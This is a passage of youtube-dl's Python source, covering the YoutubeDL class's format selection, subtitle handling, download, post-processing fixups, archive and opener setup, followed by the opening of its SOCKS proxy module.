            for i, t in enumerate(thumbnails):
                t['url'] = sanitize_url(t['url'])
                if t.get('width') and t.get('height'):
                    t['resolution'] = '%dx%d' % (t['width'], t['height'])
                if t.get('id') is None:
                    t['id'] = '%d' % i

        if self.params.get('list_thumbnails'):
            self.list_thumbnails(info_dict)
            return

        thumbnail = info_dict.get('thumbnail')
        if thumbnail:
            info_dict['thumbnail'] = sanitize_url(thumbnail)
        elif thumbnails:
            info_dict['thumbnail'] = thumbnails[-1]['url']

        if 'display_id' not in info_dict and 'id' in info_dict:
            info_dict['display_id'] = info_dict['id']

        if info_dict.get('upload_date') is None and info_dict.get('timestamp') is not None:
            # Working around out-of-range timestamp values (e.g. negative ones on Windows,
            # see http://bugs.python.org/issue1646728)
            try:
                upload_date = datetime.datetime.utcfromtimestamp(info_dict['timestamp'])
                info_dict['upload_date'] = upload_date.strftime('%Y%m%d')
            except (ValueError, OverflowError, OSError):
                pass

        # Auto generate title fields corresponding to the *_number fields when missing
        # in order to always have clean titles. This is very common for TV series.
        for field in ('chapter', 'season', 'episode'):
            if info_dict.get('%s_number' % field) is not None and not info_dict.get(field):
                info_dict[field] = '%s %d' % (field.capitalize(), info_dict['%s_number' % field])

        subtitles = info_dict.get('subtitles')
        if subtitles:
            for _, subtitle in subtitles.items():
                for subtitle_format in subtitle:
                    if subtitle_format.get('url'):
                        subtitle_format['url'] = sanitize_url(subtitle_format['url'])
                    if subtitle_format.get('ext') is None:
                        subtitle_format['ext'] = determine_ext(subtitle_format['url']).lower()

        if self.params.get('listsubtitles', False):
            if 'automatic_captions' in info_dict:
                self.list_subtitles(info_dict['id'], info_dict.get('automatic_captions'), 'automatic captions')
            self.list_subtitles(info_dict['id'], subtitles, 'subtitles')
            return
        info_dict['requested_subtitles'] = self.process_subtitles(
            info_dict['id'], subtitles,
            info_dict.get('automatic_captions'))

        # We now pick which formats have to be downloaded
        if info_dict.get('formats') is None:
            # There's only one format available
            formats = [info_dict]
        else:
            formats = info_dict['formats']

        if not formats:
            raise ExtractorError('No video formats found!')

        formats_dict = {}

        # We check that all the formats have the format and format_id fields
        for i, format in enumerate(formats):
            if 'url' not in format:
                raise ExtractorError('Missing "url" key in result (index %d)' % i)

            format['url'] = sanitize_url(format['url'])

            if format.get('format_id') is None:
                format['format_id'] = compat_str(i)
            else:
                # Sanitize format_id from characters used in format selector expression
                format['format_id'] = re.sub('[\s,/+\[\]()]', '_', format['format_id'])
            format_id = format['format_id']
            if format_id not in formats_dict:
                formats_dict[format_id] = []
            formats_dict[format_id].append(format)

        # Make sure all formats have unique format_id
        for format_id, ambiguous_formats in formats_dict.items():
            if len(ambiguous_formats) > 1:
                for i, format in enumerate(ambiguous_formats):
                    format['format_id'] = '%s-%d' % (format_id, i)

        for i, format in enumerate(formats):
            if format.get('format') is None:
                format['format'] = '{id} - {res}{note}'.format(
                    id=format['format_id'],
                    res=self.format_resolution(format),
                    note=' ({0})'.format(format['format_note']) if format.get('format_note') is not None else '',
                )
            # Automatically determine file extension if missing
            if format.get('ext') is None:
                format['ext'] = determine_ext(format['url']).lower()
            # Automatically determine protocol if missing (useful for format
            # selection purposes)
            if 'protocol' not in format:
                format['protocol'] = determine_protocol(format)
            # Add HTTP headers, so that external programs can use them from the
            # json output
            full_format_info = info_dict.copy()
            full_format_info.update(format)
            format['http_headers'] = self._calc_headers(full_format_info)

        # TODO Central sorting goes here

        if formats[0] is not info_dict:
            # only set the 'formats' fields if the original info_dict list them
            # otherwise we end up with a circular reference, the first (and unique)
            # element in the 'formats' field in info_dict is info_dict itself,
            # which can't be exported to json
            info_dict['formats'] = formats
        if self.params.get('listformats'):
            self.list_formats(info_dict)
            return

        req_format = self.params.get('format')
        if req_format is None:
            req_format_list = []
            if (self.params.get('outtmpl', DEFAULT_OUTTMPL) != '-' and
                    not info_dict.get('is_live')):
                merger = FFmpegMergerPP(self)
                if merger.available and merger.can_merge():
                    req_format_list.append('bestvideo+bestaudio')
            req_format_list.append('best')
            req_format = '/'.join(req_format_list)
        format_selector = self.build_format_selector(req_format)

        # While in format selection we may need to have an access to the original
        # format set in order to calculate some metrics or do some processing.
        # For now we need to be able to guess whether original formats provided
        # by extractor are incomplete or not (i.e. whether extractor provides only
        # video-only or audio-only formats) for proper formats selection for
        # extractors with such incomplete formats (see
        # https://github.com/rg3/youtube-dl/pull/5556).
        # Since formats may be filtered during format selection and may not match
        # the original formats the results may be incorrect. Thus original formats
        # or pre-calculated metrics should be passed to format selection routines
        # as well.
        # We will pass a context object containing all necessary additional data
        # instead of just formats.
        # This fixes incorrect format selection issue (see
        # https://github.com/rg3/youtube-dl/issues/10083).
        incomplete_formats = (
            # All formats are video-only or
            all(f.get('vcodec') != 'none' and f.get('acodec') == 'none' for f in formats) or
            # all formats are audio-only
            all(f.get('vcodec') == 'none' and f.get('acodec') != 'none' for f in formats))

        ctx = {
            'formats': formats,
            'incomplete_formats': incomplete_formats,
        }

        formats_to_download = list(format_selector(ctx))
        if not formats_to_download:
            raise ExtractorError('requested format not available',
                                 expected=True)

        if download:
            if len(formats_to_download) > 1:
                self.to_screen('[info] %s: downloading video in %s formats' % (info_dict['id'], len(formats_to_download)))
            for format in formats_to_download:
                new_info = dict(info_dict)
                new_info.update(format)
                self.process_info(new_info)
        # We update the info dict with the best quality format (backwards compatibility)
        info_dict.update(formats_to_download[-1])
        return info_dict

    def process_subtitles(self, video_id, normal_subtitles, automatic_captions):
        """Select the requested subtitles and their format"""
        available_subs = {}
        if normal_subtitles and self.params.get('writesubtitles'):
            available_subs.update(normal_subtitles)
        if automatic_captions and self.params.get('writeautomaticsub'):
            for lang, cap_info in automatic_captions.items():
                if lang not in available_subs:
                    available_subs[lang] = cap_info

        if (not self.params.get('writesubtitles') and not
                self.params.get('writeautomaticsub') or not
                available_subs):
            return None

        if self.params.get('allsubtitles', False):
            requested_langs = available_subs.keys()
        else:
            if self.params.get('subtitleslangs', False):
                requested_langs = self.params.get('subtitleslangs')
            elif 'en' in available_subs:
                requested_langs = ['en']
            else:
                requested_langs = [list(available_subs.keys())[0]]

        formats_query = self.params.get('subtitlesformat', 'best')
        formats_preference = formats_query.split('/') if formats_query else []
        subs = {}
        for lang in requested_langs:
            formats = available_subs.get(lang)
            if formats is None:
                self.report_warning('%s subtitles not available for %s' % (lang, video_id))
                continue
            for ext in formats_preference:
                if ext == 'best':
                    f = formats[-1]
                    break
                matches = list(filter(lambda f: f['ext'] == ext, formats))
                if matches:
                    f = matches[-1]
                    break
            else:
                f = formats[-1]
                self.report_warning(
                    'No subtitle format found matching "%s" for language %s, '
                    'using %s' % (formats_query, lang, f['ext']))
            subs[lang] = f
        return subs

    def process_info(self, info_dict):
        """Process a single resolved IE result."""

        assert info_dict.get('_type', 'video') == 'video'

        max_downloads = self.params.get('max_downloads')
        if max_downloads is not None:
            if self._num_downloads >= int(max_downloads):
                raise MaxDownloadsReached()

        info_dict['fulltitle'] = info_dict['title']
        if len(info_dict['title']) > 200:
            info_dict['title'] = info_dict['title'][:197] + '...'

        if 'format' not in info_dict:
            info_dict['format'] = info_dict['ext']

        reason = self._match_entry(info_dict, incomplete=False)
        if reason is not None:
            self.to_screen('[download] ' + reason)
            return

        self._num_downloads += 1

        info_dict['_filename'] = filename = self.prepare_filename(info_dict)

        # Forced printings
        if self.params.get('forcetitle', False):
            self.to_stdout(info_dict['fulltitle'])
        if self.params.get('forceid', False):
            self.to_stdout(info_dict['id'])
        if self.params.get('forceurl', False):
            if info_dict.get('requested_formats') is not None:
                for f in info_dict['requested_formats']:
                    self.to_stdout(f['url'] + f.get('play_path', ''))
            else:
                # For RTMP URLs, also include the playpath
                self.to_stdout(info_dict['url'] + info_dict.get('play_path', ''))
        if self.params.get('forcethumbnail', False) and info_dict.get('thumbnail') is not None:
            self.to_stdout(info_dict['thumbnail'])
        if self.params.get('forcedescription', False) and info_dict.get('description') is not None:
            self.to_stdout(info_dict['description'])
        if self.params.get('forcefilename', False) and filename is not None:
            self.to_stdout(filename)
        if self.params.get('forceduration', False) and info_dict.get('duration') is not None:
            self.to_stdout(formatSeconds(info_dict['duration']))
        if self.params.get('forceformat', False):
            self.to_stdout(info_dict['format'])
        if self.params.get('forcejson', False):
            self.to_stdout(json.dumps(info_dict))

        # Do nothing else if in simulate mode
        if self.params.get('simulate', False):
            return

        if filename is None:
            return

        try:
            dn = os.path.dirname(sanitize_path(encodeFilename(filename)))
            if dn and not os.path.exists(dn):
                os.makedirs(dn)
        except (OSError, IOError) as err:
            self.report_error('unable to create directory ' + error_to_compat_str(err))
            return

        if self.params.get('writedescription', False):
            descfn = replace_extension(filename, 'description', info_dict.get('ext'))
            if self.params.get('nooverwrites', False) and os.path.exists(encodeFilename(descfn)):
                self.to_screen('[info] Video description is already present')
            elif info_dict.get('description') is None:
                self.report_warning('There\'s no description to write.')
            else:
                try:
                    self.to_screen('[info] Writing video description to: ' + descfn)
                    with io.open(encodeFilename(descfn), 'w', encoding='utf-8') as descfile:
                        descfile.write(info_dict['description'])
                except (OSError, IOError):
                    self.report_error('Cannot write description file ' + descfn)
                    return

        if self.params.get('writeannotations', False):
            annofn = replace_extension(filename, 'annotations.xml', info_dict.get('ext'))
            if self.params.get('nooverwrites', False) and os.path.exists(encodeFilename(annofn)):
                self.to_screen('[info] Video annotations are already present')
            else:
                try:
                    self.to_screen('[info] Writing video annotations to: ' + annofn)
                    with io.open(encodeFilename(annofn), 'w', encoding='utf-8') as annofile:
                        annofile.write(info_dict['annotations'])
                except (KeyError, TypeError):
                    self.report_warning('There are no annotations to write.')
                except (OSError, IOError):
                    self.report_error('Cannot write annotations file: ' + annofn)
                    return

        subtitles_are_requested = any([self.params.get('writesubtitles', False),
                                       self.params.get('writeautomaticsub')])

        if subtitles_are_requested and info_dict.get('requested_subtitles'):
            # subtitles download errors are already managed as troubles in relevant IE
            # that way it will silently go on when used with unsupporting IE
            subtitles = info_dict['requested_subtitles']
            ie = self.get_info_extractor(info_dict['extractor_key'])
            for sub_lang, sub_info in subtitles.items():
                sub_format = sub_info['ext']
                if sub_info.get('data') is not None:
                    sub_data = sub_info['data']
                else:
                    try:
                        sub_data = ie._download_webpage(
                            sub_info['url'], info_dict['id'], note=False)
                    except ExtractorError as err:
                        self.report_warning('Unable to download subtitle for "%s": %s' %
                                            (sub_lang, error_to_compat_str(err.cause)))
                        continue
                try:
                    sub_filename = subtitles_filename(filename, sub_lang, sub_format)
                    if self.params.get('nooverwrites', False) and os.path.exists(encodeFilename(sub_filename)):
                        self.to_screen('[info] Video subtitle %s.%s is already_present' % (sub_lang, sub_format))
                    else:
                        self.to_screen('[info] Writing video subtitles to: ' + sub_filename)
                        # Use newline='' to prevent conversion of newline characters
                        # See https://github.com/rg3/youtube-dl/issues/10268
                        with io.open(encodeFilename(sub_filename), 'w', encoding='utf-8', newline='') as subfile:
                            subfile.write(sub_data)
                except (OSError, IOError):
                    self.report_error('Cannot write subtitles file ' + sub_filename)
                    return

        if self.params.get('writeinfojson', False):
            infofn = replace_extension(filename, 'info.json', info_dict.get('ext'))
            if self.params.get('nooverwrites', False) and os.path.exists(encodeFilename(infofn)):
                self.to_screen('[info] Video description metadata is already present')
            else:
                self.to_screen('[info] Writing video description metadata as JSON to: ' + infofn)
                try:
                    write_json_file(self.filter_requested_info(info_dict), infofn)
                except (OSError, IOError):
                    self.report_error('Cannot write metadata to JSON file ' + infofn)
                    return

        self._write_thumbnails(info_dict, filename)

        if not self.params.get('skip_download', False):
            try:
                def dl(name, info):
                    fd = get_suitable_downloader(info, self.params)(self, self.params)
                    for ph in self._progress_hooks:
                        fd.add_progress_hook(ph)
                    if self.params.get('verbose'):
                        self.to_stdout('[debug] Invoking downloader on %r' % info.get('url'))
                    return fd.download(name, info)

                if info_dict.get('requested_formats') is not None:
                    downloaded = []
                    success = True
                    merger = FFmpegMergerPP(self)
                    if not merger.available:
                        postprocessors = []
                        self.report_warning('You have requested multiple '
                                            'formats but ffmpeg or avconv are not installed.'
                                            ' The formats won\'t be merged.')
                    else:
                        postprocessors = [merger]

                    def compatible_formats(formats):
                        video, audio = formats
                        # Check extension
                        video_ext, audio_ext = audio.get('ext'), video.get('ext')
                        if video_ext and audio_ext:
                            COMPATIBLE_EXTS = (
                                ('mp3', 'mp4', 'm4a', 'm4p', 'm4b', 'm4r', 'm4v'),
                                ('webm')
                            )
                            for exts in COMPATIBLE_EXTS:
                                if video_ext in exts and audio_ext in exts:
                                    return True
                        # TODO: Check acodec/vcodec
                        return False

                    filename_real_ext = os.path.splitext(filename)[1][1:]
                    filename_wo_ext = (
                        os.path.splitext(filename)[0]
                        if filename_real_ext == info_dict['ext']
                        else filename)
                    requested_formats = info_dict['requested_formats']
                    if self.params.get('merge_output_format') is None and not compatible_formats(requested_formats):
                        info_dict['ext'] = 'mkv'
                        self.report_warning(
                            'Requested formats are incompatible for merge and will be merged into mkv.')
                    # Ensure filename always has a correct extension for successful merge
                    filename = '%s.%s' % (filename_wo_ext, info_dict['ext'])
                    if os.path.exists(encodeFilename(filename)):
                        self.to_screen(
                            '[download] %s has already been downloaded and '
                            'merged' % filename)
                    else:
                        for f in requested_formats:
                            new_info = dict(info_dict)
                            new_info.update(f)
                            fname = self.prepare_filename(new_info)
                            fname = prepend_extension(fname, 'f%s' % f['format_id'], new_info['ext'])
                            downloaded.append(fname)
                            partial_success = dl(fname, new_info)
                            success = success and partial_success
                        info_dict['__postprocessors'] = postprocessors
                        info_dict['__files_to_merge'] = downloaded
                else:
                    # Just a single file
                    success = dl(filename, info_dict)
            except (compat_urllib_error.URLError, compat_http_client.HTTPException, socket.error) as err:
                self.report_error('unable to download video data: %s' % error_to_compat_str(err))
                return
            except (OSError, IOError) as err:
                raise UnavailableVideoError(err)
            except (ContentTooShortError, ) as err:
                self.report_error('content too short (expected %s bytes and served %s)' % (err.expected, err.downloaded))
                return

            if success and filename != '-':
                # Fixup content
                fixup_policy = self.params.get('fixup')
                if fixup_policy is None:
                    fixup_policy = 'detect_or_warn'

                INSTALL_FFMPEG_MESSAGE = 'Install ffmpeg or avconv to fix this automatically.'

                stretched_ratio = info_dict.get('stretched_ratio')
                if stretched_ratio is not None and stretched_ratio != 1:
                    if fixup_policy == 'warn':
                        self.report_warning('%s: Non-uniform pixel ratio (%s)' % (
                            info_dict['id'], stretched_ratio))
                    elif fixup_policy == 'detect_or_warn':
                        stretched_pp = FFmpegFixupStretchedPP(self)
                        if stretched_pp.available:
                            info_dict.setdefault('__postprocessors', [])
                            info_dict['__postprocessors'].append(stretched_pp)
                        else:
                            self.report_warning(
                                '%s: Non-uniform pixel ratio (%s). %s'
                                % (info_dict['id'], stretched_ratio, INSTALL_FFMPEG_MESSAGE))
                    else:
                        assert fixup_policy in ('ignore', 'never')

                if (info_dict.get('requested_formats') is None and
                        info_dict.get('container') == 'm4a_dash'):
                    if fixup_policy == 'warn':
                        self.report_warning(
                            '%s: writing DASH m4a. '
                            'Only some players support this container.'
                            % info_dict['id'])
                    elif fixup_policy == 'detect_or_warn':
                        fixup_pp = FFmpegFixupM4aPP(self)
                        if fixup_pp.available:
                            info_dict.setdefault('__postprocessors', [])
                            info_dict['__postprocessors'].append(fixup_pp)
                        else:
                            self.report_warning(
                                '%s: writing DASH m4a. '
                                'Only some players support this container. %s'
                                % (info_dict['id'], INSTALL_FFMPEG_MESSAGE))
                    else:
                        assert fixup_policy in ('ignore', 'never')

                if (info_dict.get('protocol') == 'm3u8_native' or
                        info_dict.get('protocol') == 'm3u8' and
                        self.params.get('hls_prefer_native')):
                    if fixup_policy == 'warn':
                        self.report_warning('%s: malformated aac bitstream.' % (
                            info_dict['id']))
                    elif fixup_policy == 'detect_or_warn':
                        fixup_pp = FFmpegFixupM3u8PP(self)
                        if fixup_pp.available:
                            info_dict.setdefault('__postprocessors', [])
                            info_dict['__postprocessors'].append(fixup_pp)
                        else:
                            self.report_warning(
                                '%s: malformated aac bitstream. %s'
                                % (info_dict['id'], INSTALL_FFMPEG_MESSAGE))
                    else:
                        assert fixup_policy in ('ignore', 'never')

                try:
                    self.post_process(filename, info_dict)
                except (PostProcessingError) as err:
                    self.report_error('postprocessing: %s' % str(err))
                    return
                self.record_download_archive(info_dict)

    def download(self, url_list):
        """Download a given list of URLs."""
        outtmpl = self.params.get('outtmpl', DEFAULT_OUTTMPL)
        if (len(url_list) > 1 and
                '%' not in outtmpl and
                self.params.get('max_downloads') != 1):
            raise SameFileError(outtmpl)

        for url in url_list:
            try:
                # It also downloads the videos
                res = self.extract_info(
                    url, force_generic_extractor=self.params.get('force_generic_extractor', False))
            except UnavailableVideoError:
                self.report_error('unable to download video')
            except MaxDownloadsReached:
                self.to_screen('[info] Maximum number of downloaded files reached.')
                raise
            else:
                if self.params.get('dump_single_json', False):
                    self.to_stdout(json.dumps(res))

        return self._download_retcode

    def download_with_info_file(self, info_filename):
        with contextlib.closing(fileinput.FileInput(
                [info_filename], mode='r',
                openhook=fileinput.hook_encoded('utf-8'))) as f:
            # FileInput doesn't have a read method, we can't call json.load
            info = self.filter_requested_info(json.loads('\n'.join(f)))
        try:
            self.process_ie_result(info, download=True)
        except DownloadError:
            webpage_url = info.get('webpage_url')
            if webpage_url is not None:
                self.report_warning('The info failed to download, trying with "%s"' % webpage_url)
                return self.download([webpage_url])
            else:
                raise
        return self._download_retcode

    @staticmethod
    def filter_requested_info(info_dict):
        return dict(
            (k, v) for k, v in info_dict.items()
            if k not in ['requested_formats', 'requested_subtitles'])

    def post_process(self, filename, ie_info):
        """Run all the postprocessors on the given file."""
        info = dict(ie_info)
        info['filepath'] = filename
        pps_chain = []
        if ie_info.get('__postprocessors') is not None:
            pps_chain.extend(ie_info['__postprocessors'])
        pps_chain.extend(self._pps)
        for pp in pps_chain:
            files_to_delete = []
            try:
                files_to_delete, info = pp.run(info)
            except PostProcessingError as e:
                self.report_error(e.msg)
            if files_to_delete and not self.params.get('keepvideo', False):
                for old_filename in files_to_delete:
                    self.to_screen('Deleting original file %s (pass -k to keep)' % old_filename)
                    try:
                        os.remove(encodeFilename(old_filename))
                    except (IOError, OSError):
                        self.report_warning('Unable to remove downloaded original file')

    def _make_archive_id(self, info_dict):
        # Future-proof against any change in case
        # and backwards compatibility with prior versions
        extractor = info_dict.get('extractor_key')
        if extractor is None:
            if 'id' in info_dict:
                extractor = info_dict.get('ie_key')  # key in a playlist
        if extractor is None:
            return None  # Incomplete video information
        return extractor.lower() + ' ' + info_dict['id']

    def in_download_archive(self, info_dict):
        fn = self.params.get('download_archive')
        if fn is None:
            return False

        vid_id = self._make_archive_id(info_dict)
        if vid_id is None:
            return False  # Incomplete video information

        try:
            with locked_file(fn, 'r', encoding='utf-8') as archive_file:
                for line in archive_file:
                    if line.strip() == vid_id:
                        return True
        except IOError as ioe:
            if ioe.errno != errno.ENOENT:
                raise
        return False

    def record_download_archive(self, info_dict):
        fn = self.params.get('download_archive')
        if fn is None:
            return
        vid_id = self._make_archive_id(info_dict)
        assert vid_id
        with locked_file(fn, 'a', encoding='utf-8') as archive_file:
            archive_file.write(vid_id + '\n')

    @staticmethod
    def format_resolution(format, default='unknown'):
        if format.get('vcodec') == 'none':
            return 'audio only'
        if format.get('resolution') is not None:
            return format['resolution']
        if format.get('height') is not None:
            if format.get('width') is not None:
                res = '%sx%s' % (format['width'], format['height'])
            else:
                res = '%sp' % format['height']
        elif format.get('width') is not None:
            res = '%dx?' % format['width']
        else:
            res = default
        return res

    def _format_note(self, fdict):
        res = ''
        if fdict.get('ext') in ['f4f', 'f4m']:
            res += '(unsupported) '
        if fdict.get('language'):
            if res:
                res += ' '
            res += '[%s] ' % fdict['language']
        if fdict.get('format_note') is not None:
            res += fdict['format_note'] + ' '
        if fdict.get('tbr') is not None:
            res += '%4dk ' % fdict['tbr']
        if fdict.get('container') is not None:
            if res:
                res += ', '
            res += '%s container' % fdict['container']
        if (fdict.get('vcodec') is not None and
                fdict.get('vcodec') != 'none'):
            if res:
                res += ', '
            res += fdict['vcodec']
            if fdict.get('vbr') is not None:
                res += '@'
        elif fdict.get('vbr') is not None and fdict.get('abr') is not None:
            res += 'video@'
        if fdict.get('vbr') is not None:
            res += '%4dk' % fdict['vbr']
        if fdict.get('fps') is not None:
            if res:
                res += ', '
            res += '%sfps' % fdict['fps']
        if fdict.get('acodec') is not None:
            if res:
                res += ', '
            if fdict['acodec'] == 'none':
                res += 'video only'
            else:
                res += '%-5s' % fdict['acodec']
        elif fdict.get('abr') is not None:
            if res:
                res += ', '
            res += 'audio'
        if fdict.get('abr') is not None:
            res += '@%3dk' % fdict['abr']
        if fdict.get('asr') is not None:
            res += ' (%5dHz)' % fdict['asr']
        if fdict.get('filesize') is not None:
            if res:
                res += ', '
            res += format_bytes(fdict['filesize'])
        elif fdict.get('filesize_approx') is not None:
            if res:
                res += ', '
            res += '~' + format_bytes(fdict['filesize_approx'])
        return res

    def list_formats(self, info_dict):
        formats = info_dict.get('formats', [info_dict])
        table = [
            [f['format_id'], f['ext'], self.format_resolution(f), self._format_note(f)]
            for f in formats
            if f.get('preference') is None or f['preference'] >= -1000]
        if len(formats) > 1:
            table[-1][-1] += (' ' if table[-1][-1] else '') + '(best)'

        header_line = ['format code', 'extension', 'resolution', 'note']
        self.to_screen(
            '[info] Available formats for %s:\n%s' %
            (info_dict['id'], render_table(header_line, table)))

    def list_thumbnails(self, info_dict):
        thumbnails = info_dict.get('thumbnails')
        if not thumbnails:
            self.to_screen('[info] No thumbnails present for %s' % info_dict['id'])
            return

        self.to_screen(
            '[info] Thumbnails for %s:' % info_dict['id'])
        self.to_screen(render_table(
            ['ID', 'width', 'height', 'URL'],
            [[t['id'], t.get('width', 'unknown'), t.get('height', 'unknown'), t['url']] for t in thumbnails]))

    def list_subtitles(self, video_id, subtitles, name='subtitles'):
        if not subtitles:
            self.to_screen('%s has no %s' % (video_id, name))
            return
        self.to_screen(
            'Available %s for %s:' % (name, video_id))
        self.to_screen(render_table(
            ['Language', 'formats'],
            [[lang, ', '.join(f['ext'] for f in reversed(formats))]
                for lang, formats in subtitles.items()]))

    def urlopen(self, req):
        """ Start an HTTP download """
        if isinstance(req, compat_basestring):
            req = sanitized_Request(req)
        return self._opener.open(req, timeout=self._socket_timeout)

    def print_debug_header(self):
        if not self.params.get('verbose'):
            return

        if type('') is not compat_str:
            # Python 2.6 on SLES11 SP1 (https://github.com/rg3/youtube-dl/issues/3326)
            self.report_warning(
                'Your Python is broken! Update to a newer and supported version')

        stdout_encoding = getattr(
            sys.stdout, 'encoding', 'missing (%s)' % type(sys.stdout).__name__)
        encoding_str = (
            '[debug] Encodings: locale %s, fs %s, out %s, pref %s\n' % (
                locale.getpreferredencoding(),
                sys.getfilesystemencoding(),
                stdout_encoding,
                self.get_encoding()))
        write_string(encoding_str, encoding=None)

        self._write_string('[debug] youtube-dl version ' + __version__ + '\n')
        if _LAZY_LOADER:
            self._write_string('[debug] Lazy loading extractors enabled' + '\n')
        try:
            sp = subprocess.Popen(
                ['git', 'rev-parse', '--short', 'HEAD'],
                stdout=subprocess.PIPE, stderr=subprocess.PIPE,
                cwd=os.path.dirname(os.path.abspath(__file__)))
            out, err = sp.communicate()
            out = out.decode().strip()
            if re.match('[0-9a-f]+', out):
                self._write_string('[debug] Git HEAD: ' + out + '\n')
        except Exception:
            try:
                sys.exc_clear()
            except Exception:
                pass
        self._write_string('[debug] Python version %s - %s\n' % (
            platform.python_version(), platform_name()))

        exe_versions = FFmpegPostProcessor.get_versions(self)
        exe_versions['rtmpdump'] = rtmpdump_version()
        exe_str = ', '.join(
            '%s %s' % (exe, v)
            for exe, v in sorted(exe_versions.items())
            if v
        )
        if not exe_str:
            exe_str = 'none'
        self._write_string('[debug] exe versions: %s\n' % exe_str)

        proxy_map = {}
        for handler in self._opener.handlers:
            if hasattr(handler, 'proxies'):
                proxy_map.update(handler.proxies)
        self._write_string('[debug] Proxy map: ' + compat_str(proxy_map) + '\n')

        if self.params.get('call_home', False):
            ipaddr = self.urlopen('https://yt-dl.org/ip').read().decode('utf-8')
            self._write_string('[debug] Public IP address: %s\n' % ipaddr)
            latest_version = self.urlopen(
                'https://yt-dl.org/latest/version').read().decode('utf-8')
            if version_tuple(latest_version) > version_tuple(__version__):
                self.report_warning(
                    'You are using an outdated version (newest version: %s)! '
                    'See https://yt-dl.org/update if you need help updating.' %
                    latest_version)

    def _setup_opener(self):
        timeout_val = self.params.get('socket_timeout')
        self._socket_timeout = 600 if timeout_val is None else float(timeout_val)

        opts_cookiefile = self.params.get('cookiefile')
        opts_proxy = self.params.get('proxy')

        if opts_cookiefile is None:
            self.cookiejar = compat_cookiejar.CookieJar()
        else:
            opts_cookiefile = compat_expanduser(opts_cookiefile)
            self.cookiejar = compat_cookiejar.MozillaCookieJar(
                opts_cookiefile)
            if os.access(opts_cookiefile, os.R_OK):
                self.cookiejar.load()

        cookie_processor = YoutubeDLCookieProcessor(self.cookiejar)
        if opts_proxy is not None:
            if opts_proxy == '':
                proxies = {}
            else:
                proxies = {'http': opts_proxy, 'https': opts_proxy}
        else:
            proxies = compat_urllib_request.getproxies()
            # Set HTTPS proxy to HTTP one if given (https://github.com/rg3/youtube-dl/issues/805)
            if 'http' in proxies and 'https' not in proxies:
                proxies['https'] = proxies['http']
        proxy_handler = PerRequestProxyHandler(proxies)

        debuglevel = 1 if self.params.get('debug_printtraffic') else 0
        https_handler = make_HTTPS_handler(self.params, debuglevel=debuglevel)
        ydlh = YoutubeDLHandler(self.params, debuglevel=debuglevel)
        data_handler = compat_urllib_request_DataHandler()

        # When passing our own FileHandler instance, build_opener won't add the
        # default FileHandler and allows us to disable the file protocol, which
        # can be used for malicious purposes (see
        # https://github.com/rg3/youtube-dl/issues/8227)
        file_handler = compat_urllib_request.FileHandler()

        def file_open(*args, **kwargs):
            raise compat_urllib_error.URLError('file:// scheme is explicitly disabled in youtube-dl for security reasons')
        file_handler.file_open = file_open

        opener = compat_urllib_request.build_opener(
            proxy_handler, https_handler, cookie_processor, ydlh, data_handler, file_handler)

        # Delete the default user-agent header, which would otherwise apply in
        # cases where our custom HTTP handler doesn't come into play
        # (See https://github.com/rg3/youtube-dl/issues/1309 for details)
        opener.addheaders = []
        self._opener = opener

    def encode(self, s):
        if isinstance(s, bytes):
            return s  # Already encoded

        try:
            return s.encode(self.get_encoding())
        except UnicodeEncodeError as err:
            err.reason = err.reason + '. Check your system encoding configuration or use the --encoding option.'
            raise

    def get_encoding(self):
        encoding = self.params.get('encoding')
        if encoding is None:
            encoding = preferredencoding()
        return encoding

    def _write_thumbnails(self, info_dict, filename):
        if self.params.get('writethumbnail', False):
            thumbnails = info_dict.get('thumbnails')
            if thumbnails:
                thumbnails = [thumbnails[-1]]
        elif self.params.get('write_all_thumbnails', False):
            thumbnails = info_dict.get('thumbnails')
        else:
            return

        if not thumbnails:
            # No thumbnails present, so return immediately
            return

        for t in thumbnails:
            thumb_ext = determine_ext(t['url'], 'jpg')
            suffix = '_%s' % t['id'] if len(thumbnails) > 1 else ''
            thumb_display_id = '%s ' % t['id'] if len(thumbnails) > 1 else ''
            t['filename'] = thumb_filename = os.path.splitext(filename)[0] + suffix + '.' + thumb_ext

            if self.params.get('nooverwrites', False) and os.path.exists(encodeFilename(thumb_filename)):
                self.to_screen('[%s] %s: Thumbnail %sis already present' %
                               (info_dict['extractor'], info_dict['id'], thumb_display_id))
            else:
                self.to_screen('[%s] %s: Downloading thumbnail %s...' %
                               (info_dict['extractor'], info_dict['id'], thumb_display_id))
                try:
                    uf = self.urlopen(t['url'])
                    with open(encodeFilename(thumb_filename), 'wb') as thumbf:
                        shutil.copyfileobj(uf, thumbf)
                    self.to_screen('[%s] %s: Writing thumbnail %sto: %s' %
                                   (info_dict['extractor'], info_dict['id'], thumb_display_id, thumb_filename))
                except (compat_urllib_error.URLError, compat_http_client.HTTPException, socket.error) as err:
                    self.report_warning('Unable to download thumbnail "%s": %s' %
                                        (t['url'], error_to_compat_str(err)))






# Public Domain SOCKS proxy protocol implementation
# Adapted from https://gist.github.com/bluec0re/cafd3764412967417fd3

from __future__ import unicode_literals

# References:
# SOCKS4 protocol http://www.openssh.com/txt/socks4.protocol
# SOCKS4A protocol http://www.openssh.com/txt/socks4a.protocol
# SOCKS5 protocol https://tools.ietf.org/html/rfc1928
# SOCKS5 username/password authentication https://tools.ietf.org/html/rfc1929

import collections
import socket

from .compat import (
    compat_ord,
    compat_struct_pack,
    compat_struct_unpack,
)

__author__ = 'Timo Schmid <coding@timoschmid.de>'

SOCKS4_VERSION = 4
SOCKS4_REPLY_VERSION = 0x00
# Excerpt from SOCKS4A protocol:
# if the client cannot resolve the destination host's domain name to find its
# IP address, it should set the first three bytes of DSTIP to NULL and the last
# byte to a non-zero value.
SOCKS4_DEFAULT_DSTIP = compat_struct_pack('!BBBB', 0, 0, 0, 0xFF)

SOCKS5_VERSION = 5
SOCKS5_USER_AUTH_VERSION = 0x01
SOCKS5_USER_AUTH_SUCCESS = 0x00


class Socks4Command(object):
    CMD_CONNECT = 0x01
    CMD_BIND = 0x02


class Socks5Command(Socks4Command):
    CMD_UDP_ASSOCIATE = 0x03


class Socks5Auth(object):
    AUTH_NONE = 0x00
    AUTH_GSSAPI = 0x01
    AUTH_USER_PASS = 0x02
    AUTH_NO_ACCEPTABLE = 0xFF  # For server response


class Socks5AddressType(object):
    ATYP_IPV4 = 0x01
    ATYP_DOMAINNAME = 0x03
    ATYP_IPV6 = 0x04


class ProxyError(IOError):
    ERR_SUCCESS = 0x00

    def __init__(self, code=None, msg=None):
        if code is not None and msg is None:
            msg = self.CODES.get(code) and 'unknown error'
        super(ProxyError, self).__init__(code, msg)


class InvalidVersionError(ProxyError):
    def __init__(self, expected_version, got_version):
